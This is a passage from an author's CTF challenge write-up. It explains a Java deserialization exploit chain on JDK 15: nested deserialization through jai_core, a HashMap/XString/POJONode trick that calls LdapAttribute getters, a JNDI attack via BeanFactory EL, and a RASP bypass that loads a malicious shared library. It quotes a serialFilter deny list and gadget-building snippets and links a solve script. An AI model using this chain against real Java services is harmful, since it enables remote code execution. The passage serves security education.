is also blacklisted.
Maybe I forgot and put the BadAttributeValueExpException inside this list, in jdk15 we can not abuse the val
attribute anymore because the type of it is String
To bypass the above mechanism, we have to find a method that performs nested deserialization, like the following class
public class Bypass0 implements Serializable {
byte[] bytes;
…
private void readObject(ObjectInputStream in)
throws IOException, ClassNotFoundException {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(is);
ois.readObject();
}
}
If you take a look at the libraries of this application you can see the jai_core-1.1.3.jar
- a library that provides imaging functionality.
We can leverage the finalize()
method in Java, this method is called by the garbage collector before performing the deletion or destruction of an object. Typically, it is used to close open database connections, network connections, and so on. After the deserialization process, if the casting to the corresponding type fails and the program throws an exception, the deserialized object will still be collected by the garbage collector, and the finalize()
method will be invoked.
The SerializableRenderedImage
class in jai_core.jar
has a corresponding chain:
finalize()
-> dispose()
-> closeClient()
Because the host
and port
properties are controllable, setting up a socket server to return the payload is sufficient
You can take a look at the poc for liferay (lpe-15538) using this class here, but the problem is that the garbage collector only calls the finalize()
method when performing actions like stopping the application. You can take advantage of the spawning instance to apply this technique but I prefer to use another chain.
SerializableRenderedImage#readObject
-> SerializableRenderedImage#decodeRasterFromByteArray
-> RawTileDecoder#decode
-> ObjectInputStream#readObect
So we pass the first gate, the second is jdk.serialFilter
defined in java.security
- global filter JEP
jdk.serialFilter=!javax.management.BadAttributeValueExpException;!sun.print.*;!java.security.*;!java.util.Hashtable;!com.sun.rowset.*;!com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
TemplatesImpl
is blacklisted so we can not abuse it to run static block codes or constructor codes. com.sun.rowset.*
can remind you about the JdbcRowSetImpl
gadget for JNDI attack. But there is another class causing JNDI attack which also trigger from getter method -> LdapAttribute.
So how can we construct a chain to trigger the getter of LdapAttribute
? The application is built on the spring boot framework -> POJONode.toString()
can be used to trigger getter method.
BadAttributeValueExpException
was used to trigger toString()
in the past, but it is blocked (if it is not, it still does not work in the current version). So here HashMap
comes into play.
HashMap trigger toString()
The core of this technique lies in the way hashmap compares two keys when put into its internal Node.
Pay attention to lines 634 635, equals()
method will be called if the two hashes are the same but the key comparison returns false, and there are a few notes of mine:
When comparing two HashMaps or Hashtables in Java using
==
, it returns false because it performs reference comparison.The hashCode of an object can be calculated by either overwriting their
hashCode
method or, if not implemented, using the native method of Java, which calculates it based on the memory address at the time of object initialization.The hashCode of a HashMap object is calculated as the sum
h += key.hashCode() ^ value.hashCode()
for the key-value pair in each Node of the HashMap
For example, if you want to trigger the equals()
method for the two objects A
and B
.
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("<keyA>",A);
map1.put("<keyB>",B);
map2.put("<keyB>",B);
map2.put("<keyA>",A);
Object o = makeMap(map1,map2);
We will need to find keyA
and keyB
so that its hashcode is the same
one pair is to
- v1
So let's return to the above code when deserializing the o
object it will try to compare the two objects map1
and map2
by first checking its hashcode. As I told you before the hashcode of a HashMap object is calculated using the following formula
h += key.hashCode() ^ value.hashCode()
hash_code_map1
= "to".hashCode() ^ A.hashCode() + "v1".hashCode() + B.hashCode()
hash_code_map2
= "v1".hashCode() + B.hashCode() + "to".hashCode() ^ A.hashCode()
and obviously, they are the same.
Because two hashes are the same but the key comparison returns false (reference comparison) it will result in calling the equals()
method.
Next, we need to find a class that trigger toString()
from equals()
and this class is located inside the jdk com.sun.org.apache.xpath.internal.objects.XString
The special thing about XString
is that its hashCode value will be calculated based on the value passed to its constructor (so it becomes hashCode of a string -> fixed value).
In summary, the code for triggering getter method of LdapAttribute
is
XString xString = new XString("xxx");
POJONode pojoNode = new POJONode(ldapAttribute);
HashMap map1 = new HashMap();
map1.put("to", pojoNode);
map1.put("v1", xString);
HashMap map2 = new HashMap();
map2.put("to", xString);
map2.put("v1", pojoNode);
HashMap finalMap = makeMap(map1, map2);
JNDI attack
The current version of jdk is 15, so that the TRUST_CODE_BASE
is defaulted to false
and we can not remotely load the malicious class. However, it is still possible to leverage it to load classes from the classpath as long as this class implements javax.naming.spi.ObjectFactory
and define the getObjectInstance()
method.
-> org.apache.naming.factory.BeanFactory
can be used to evaluate expression language.
With the ability to evaluate EL, can we just execute the /readflag
and win the game? The answer is no, you have to pass the final gate - RASP
Simple RASP bypass
RASP (Runtime Application self-protection) is a technology that detects attacks and protects itself at runtime. In this challenge, I added an instrumentation agent via
-javaagent
startup parameter, so that before the class is loaded, we have the opportunity to operate on the bytecode and block dangerous classes.
This agent will throw an exception if there is a call to java/lang/ProcessImpl#Start()
But there are some lower-level functions that can still execute system command.
Another way that I use and it is also the intended solution is to call the System.load()
to load a malicious shared library with dangerous code in the init function.
Exploit
Exploit steps are as follow
Start the slowing http server and force the server to fetch and create temp file with malicious serialized payload.
Compile so file
- Start the second slowing http server and force the server to fetch and create temp file with newly maliciously created so file.
- Trigger the deserialization
And flag
My solve script for this challenge
https://gist.github.com/to016/127f8f9c00efbb9e216700addc97bafe
Source code for all of those challenges can be found in the link bellow
https://drive.google.com/drive/folders/1_mNRADG1JTuRsKCnTdwaTDOQolUW31Gu?usp=sharing
Closing Thoughts
This time the competition preparation was somewhat rushed because I got caught up in another contest. It's a bit regrettable that there were many ideas related to some n-day vulnerabilities that I wanted to analyze and incorporate into the challenges, but the infrastructure conditions at that time didn't allow it. Anyway, I hope everyone enjoys the game.